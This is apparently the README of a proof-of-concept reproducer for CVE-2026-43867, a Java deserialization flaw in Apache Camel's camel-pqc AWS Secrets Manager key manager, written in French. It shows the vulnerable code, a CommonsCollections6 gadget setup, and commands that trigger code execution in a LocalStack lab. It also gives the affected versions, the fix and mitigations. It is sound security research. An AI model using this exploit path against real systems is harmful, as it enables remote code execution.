
Reproducteur pour CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager désérialisation non sécurisée des métadonnées de clé (RCE)
Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-pqc d'Apache Camel, suivie sous la référence CVE-2026-43867. AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() relit les métadonnées de clés post-quantiques persistées depuis un secret AWS Secrets Manager en décodant en Base64 la valeur stockée puis en la désérialisant avec un java.io.ObjectInputStream.readObject() brut et sans ObjectInputFilter — le cast vers KeyMetadata n'a lieu qu'après le retour de readObject(), si bien que tous les effets de bord de readObject() s'exécutent d'abord. Un principal qui peut écrire dans ce secret (secretsmanager:PutSecretValue) peut y stocker un objet sérialisé contrefait qui sera désérialisé lors des opérations normales du cycle de vie des clés, ce qui peut mener à une exécution de code.
Avis de sécurité : https://camel.apache.org/security/CVE-2026-43867.html
Même défaut que CVE-2026-46590 (signalé indépendamment ; cet avis couvre également le gestionnaire HashiCorp Vault et les gestionnaires frères à base de fichiers), et une correction incomplète faisant suite à CVE-2026-40048 (CAMEL-23200), qui a remplacé
FileBasedKeyLifecycleManagerpar un format JSON/PKCS#8/X.509 mais n'a pas ajouté d'ObjectInputFilteret n'a pas couvert les gestionnaires AWS/Vault.
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) { // NO ObjectInputFilter
return (KeyMetadata) ois.readObject(); // gadget fires here, before the cast
}
}
getKeyMetadata(keyId) lit le secret nommé <keyPrefix>/<keyId>/metadata, analyse son enveloppe JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) et transmet le champ metadata à deserializeMetadata. Le correctif (4.18.3 / 4.21.0) introduit un KeyMetadataCodec partagé qui stocke les métadonnées au format JSON pour tous les gestionnaires et contraint les lectures ObjectInputStream historiques restantes à l'aide d'une liste d'autorisation ObjectInputFilter.
La victime est l'application qui gère les clés PQC avec le gestionnaire AWS. L'attaquant est tout principal qui peut écrire le secret de métadonnées (secretsmanager:PutSecretValue). Cette preuve de concept utilise LocalStack pour émuler AWS Secrets Manager ; le point d'accès /exploit/attack écrit un secret de métadonnées contrefait puis déclenche le chemin de lecture du gestionnaire.
CVE-2026-43867/
├── pom.xml # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile # runs the app (--add-opens for gadget build)
├── docker-compose.yml # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # writes the crafted secret, then calls getKeyMetadata()
└── resources/
└── application.properties
Dans une attaque réelle, les octets sérialisés sont produits hors ligne par l'attaquant (par exemple avec ysoserial). Cette preuve de concept construit le gadget dans le processus, c'est pourquoi la JVM est lancée avec
--add-opens java.base/java.util=ALL-UNNAMED— un détail de construction du gadget, sans rapport avec la vulnérabilité.
mvn clean package -DskipTests
docker compose up -d --build
Ceci démarre LocalStack (émulant AWS Secrets Manager) et l'application de reproduction, qui pointe son AwsSecretsManagerKeyLifecycleManager vers LocalStack via le remplacement du point de terminaison (endpoint override).
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
# getKeyMetadata() threw java.lang.ClassCastException (expected — the gadget runs during readObject ...)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43867 ls -la /tmp/pwned
docker compose down
Toute application utilisant AwsSecretsManagerKeyLifecycleManager dont le secret de métadonnées de clés peut être écrit par une entité autre que l'identité de confiance de l'application elle-même. La désérialisation s'exécute pendant les opérations courantes du cycle de vie des clés (getKeyMetadata, loadExistingKeys, listKeys, vérifications de rotation, …).
AwsSecretsManagerKeyLifecycleManager de camel-pqc sur une version concernée.secretsmanager:PutSecretValue sur celui-ci).commons-collections:3.2.1).Mettez à niveau vers 4.18.3 / 4.21.0 (CAMEL-23726). Les métadonnées sont stockées au format JSON et toutes les lectures ObjectInputStream historiques restantes sont contraintes par une liste d'autorisation ObjectInputFilter.
En attendant la mise à niveau :
secretsmanager:PutSecretValue sur le secret de métadonnées camel-pqc à l'identité propre de l'application (IAM au moindre privilège).Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Property | Value |
|---|
| Composant | camel-pqc (AwsSecretsManagerKeyLifecycleManager) |
| Classe concernée | org.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code dans l'application de gestion des clés (nécessite un accès en écriture au secret de métadonnées) |
| Versions concernées | De 4.18.0 à 4.18.3 exclu, de 4.19.0 à 4.21.0 exclu |
| Versions corrigées | 4.18.3, 4.21.0 (camel-pqc n'est pas sur la ligne LTS 4.14.x) |
| JIRA | CAMEL-23726 |
| Signalé par | Venkatraman Kumar (Securin) |